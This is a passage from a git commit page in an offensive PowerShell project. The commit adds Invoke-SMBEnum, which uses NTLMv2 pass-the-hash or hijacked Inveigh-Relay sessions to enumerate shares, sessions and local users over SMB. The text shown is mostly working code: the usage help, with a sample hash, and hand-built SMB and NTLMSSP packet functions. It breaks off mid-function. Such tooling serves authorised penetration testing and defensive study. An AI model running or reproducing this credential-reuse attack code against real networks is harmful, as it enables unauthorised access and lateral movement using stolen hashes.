diff options
| author | Kevin Robertson <robertsonk@gmail.com> | 2018-03-01 23:23:49 -0500 |
|---|---|---|
| committer | Kevin Robertson <robertsonk@gmail.com> | 2018-03-01 23:23:49 -0500 |
| commit | fc57371c8e82d5aa6af90a9b39d892aefcf809c3 (patch) | |
| tree | e8e971be396f104374ec31d8ff32cb6cfdecde0b | |
| parent | 60a49dc5156c48e0f7e90691fa36e3edd24df2ff (diff) | |
| download | Inveigh-fc57371c8e82d5aa6af90a9b39d892aefcf809c3.tar.gz Inveigh-fc57371c8e82d5aa6af90a9b39d892aefcf809c3.zip | |
Added Invoke-SMBEnum
Dev version of Invoke-SMBEnum for performing enum tasks over SMB with
PTH and Inveigh-Relay sessions. Right now it just enumerates shares,
netsessions, and local users. Also fixed some minor Invoke-SMBClient and
Invoke-SMBExec issues.
| -rw-r--r-- | Invoke-SMBClient.ps1 | 48 | ||||
| -rw-r--r-- | Invoke-SMBEnum.ps1 | 2130 | ||||
| -rw-r--r-- | Invoke-SMBExec.ps1 | 52 |
3 files changed, 2160 insertions, 70 deletions
diff --git a/Invoke-SMBClient.ps1 b/Invoke-SMBClient.ps1 index 367969d..b61caec 100644 --- a/Invoke-SMBClient.ps1 +++ b/Invoke-SMBClient.ps1 @@ -315,27 +315,6 @@ function New-PacketSMB2IoctlRequest return $packet_SMB2IoctlRequest } -function New-PacketRAPNetShareEnum -{ - param([String]$packet_server_UNC) - - $packet_RAPNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RAPNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $packet_RAPNetShareEnum.Add("PointerToServerUNC_MaxCount",$packet_MaxCount) - $packet_RAPNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RAPNetShareEnum.Add("PointerToServerUNC_ActualCount",$packet_MaxCount) - $packet_RAPNetShareEnum.Add("PointerToServerUNC_MaxCount",$packet_server_UNC) - $packet_RAPNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x02,0x00)) - $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x02,0x00)) - $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) - $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RAPNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_RAPNetShareEnum.Add("NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) - - return $packet_RAPNetShareEnum -} - function New-PacketSMB2CreateRequest { param([Byte[]]$packet_file_name,[Int]$packet_extra_info,[Int64]$packet_allocation_size) @@ -746,12 +725,15 @@ elseif($Source -is [String]) $source = $Source.Replace('.\','') } -[String]$session_string = $session +if($PSBoundParameters.ContainsKey('Session')) +{ + $inveigh_session = $true +} -if($session_string) +if($PSBoundParameters.ContainsKey('Session')) { - if(!$Inveigh -or !$inveigh.session_socket_table[$session]) + if(!$Inveigh) { Write-Output "[-] Inveigh Relay session not found" $startup_error = $true @@ -784,7 +766,7 @@ $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) [Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} -if(!$session_string_string) +if(!$inveigh_session) { $SMB_client = New-Object System.Net.Sockets.TCPClient $SMB_client.Client.ReceiveTimeout = 30000 @@ -971,7 +953,7 @@ if($share_subdirectory -and $share_subdirectory.EndsWith('\')) $share_subdirectory = $share_subdirectory.Substring(0,$share_subdirectory.Length - 1) } -if(!$startup_error -and !$session_string) +if(!$startup_error -and !$inveigh_session) { try @@ -990,7 +972,7 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table $SMB_client_receive = New-Object System.Byte[] 81920 - if(!$session_string) + if(!$inveigh_session) { $SMB_client_stream = $SMB_client.GetStream() $SMB_client_stage = 'NegotiateSMB' @@ -1209,13 +1191,13 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table try { - if($login_successful -or $session_string) + if($login_successful -or $inveigh_session) { - if($session_string) + if($inveigh_session) { - if($session_string -and $inveigh.session_lock_table[$session] -eq 'locked') + if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') { Write-Output "[*] Pausing due to Inveigh Relay session lock" Start-Sleep -s 2 @@ -2672,7 +2654,7 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table $SMB_client_stream.Flush() $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - if($session_string -and !$Logoff) + if($inveigh_session -and !$Logoff) { $SMB_client_stage = 'Exit' } @@ -2736,14 +2718,14 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table $source_file_stream.Close() } - if($session_string -and $Inveigh) + if($inveigh_session -and $Inveigh) { $inveigh.session_lock_table[$session] = 'open' $inveigh.session_message_ID_table[$session] = $SMB2_message_ID $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} } - if(!$session_string -or $Logoff) + if(!$inveigh_session -or $Logoff) { $SMB_client.Close() $SMB_client_stream.Close() diff --git a/Invoke-SMBEnum.ps1 b/Invoke-SMBEnum.ps1 new file mode 100644 index 0000000..8ee4534 --- /dev/null +++ b/Invoke-SMBEnum.ps1 @@ -0,0 +1,2130 @@ +function Invoke-SMBEnum +{ +<# +.SYNOPSIS +Invoke-SMBEnum performs enumeration tasks over SMB with NTLMv2 pass the hash authentication. Invoke-SMBEnum +supports SMB2 with and without SMB signing. + +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause + +.PARAMETER Target +Hostname or IP address of target. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the +username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.PARAMETER Action +(NetSession,Share,User) Default = Share + +.PARAMETER Sleep +Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this +setting if you are experiencing strange results. + +.PARAMETER Session +Inveigh-Relay authenticated session. + +.PARAMETER SigningCheck +(Switch) Checks to see if SMB signing is required on a target. + +.EXAMPLE +List shares. +Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 + +.EXAMPLE +List NetSessions. +Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action NetSession + +.EXAMPLE +List local users using an authenticated Inveigh-Relay session. +Invoke-SMBEnum -Session 1 -Action User + +.EXAMPLE +Check if SMB signing is required. +Invoke-SMBEnum -Target 192.168.100.20 -SigningCheck + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding(DefaultParametersetName='Default')] +param +( + [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Target, + [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][ValidateSet("NetSession","Share","User")][String]$Action = "Share", + [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][String]$Service, + [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SigningCheck, + [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, + [parameter(Mandatory=$false)][Int]$Sleep=150 +) + +function ConvertFrom-PacketOrderedDictionary +{ + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array +} + +#NetBIOS + +function New-PacketNetBIOSSessionService +{ + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService +} + +#SMB1 + +function New-PacketSMBHeader +{ + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_process_ID = $packet_process_ID[0,1] + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("Command",$packet_command) + $packet_SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Flags",$packet_flags) + $packet_SMBHeader.Add("Flags2",$packet_flags2) + $packet_SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("UserID",$packet_user_ID) + $packet_SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader +} + +function New-PacketSMBNegotiateProtocolRequest +{ + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest +} + +#SMB2 + +function New-PacketSMB2Header +{ + param([Byte[]]$packet_command,[Byte[]]$packet_credit_request,[Int]$packet_message_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Command",$packet_command) + $packet_SMB2Header.Add("CreditRequest",$packet_credit_request) + $packet_SMB2Header.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("MessageID",$packet_message_ID) + $packet_SMB2Header.Add("ProcessID",$packet_process_ID) + $packet_SMB2Header.Add("TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SessionID",$packet_session_ID) + $packet_SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header +} + +function New-PacketSMB2NegotiateProtocolRequest +{ + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest +} + +function New-PacketSMB2SessionSetupRequest +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest +} + +function New-PacketSMB2TreeConnectRequest +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest +} + +function New-PacketSMB2CreateRequestFile +{ + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile +} + +function New-PacketSMB2QueryInfoRequest +{ + param ([Byte[]]$packet_info_type,[Byte[]]$packet_file_info_class,[Byte[]]$packet_output_buffer_length,[Byte[]]$packet_input_buffer_offset,[Byte[]]$packet_file_ID,[Int]$packet_buffer) + + [Byte[]]$packet_buffer_bytes = ,0x00 * $packet_buffer + + $packet_SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) + $packet_SMB2QueryInfoRequest.Add("InfoType",$packet_info_type) + $packet_SMB2QueryInfoRequest.Add("FileInfoClass",$packet_file_info_class) + $packet_SMB2QueryInfoRequest.Add("OutputBufferLength",$packet_output_buffer_length) + $packet_SMB2QueryInfoRequest.Add("InputBufferOffset",$packet_input_buffer_offset) + $packet_SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2QueryInfoRequest.Add("FileID",$packet_file_ID) + + if($packet_buffer -gt 0) + { + $packet_SMB2QueryInfoRequest.Add("Buffer",$packet_buffer_bytes) + } + + return $packet_SMB2QueryInfoRequest +} + +function New-PacketSMB2ReadRequest +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest +} + +function New-PacketSMB2WriteRequest +{ + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest +} + +function New-PacketSMB2CloseRequest +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest +} + +function New-PacketSMB2TreeDisconnectRequest +{ + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest +} + +function New-PacketSMB2SessionLogoffRequest +{ + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest +} + +function New-PacketSMB2IoctlRequest +{ + param([Byte[]]$packet_function,[Byte[]]$packet_file_name,[Int]$packet_length,[Int]$packet_out_size) + + [Byte[]]$packet_length_bytes = [System.BitConverter]::GetBytes($packet_length + 24) + [Byte[]]$packet_out_size_bytes = [System.BitConverter]::GetBytes($packet_out_size) + + $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Function",$packet_function) + $packet_SMB2IoctlRequest.Add("GUIDHandle",$packet_file_name) + $packet_SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_Length",$packet_length_bytes) + $packet_SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("MaxIoctlOutSize",$packet_out_size_bytes) + $packet_SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + + if($packet_out_size -eq 40) + { + $packet_SMB2IoctlRequest.Add("InData_Capabilities",[Byte[]](0x7f,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_ClientGUID",[Byte[]](0xc7,0x11,0x73,0x1e,0xa5,0x7d,0x39,0x47,0xaf,0x92,0x2d,0x88,0xc0,0x44,0xb1,0x1e)) + $packet_SMB2IoctlRequest.Add("InData_SecurityMode",[Byte[]](0x01)) + $packet_SMB2IoctlRequest.Add("InData_Unknown",[Byte[]](0x00)) + $packet_SMB2IoctlRequest.Add("InData_DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2IoctlRequest.Add("InData_Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2IoctlRequest.Add("InData_Dialect2",[Byte[]](0x10,0x02)) + } + + return $packet_SMB2IoctlRequest +} + +#NTLM + +function New-PacketNTLMSSPNegotiate +{ + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $packet_NTLMSSPNegotiate.Add("InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate +} + +function New-PacketNTLMSSPAuth +{ + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + 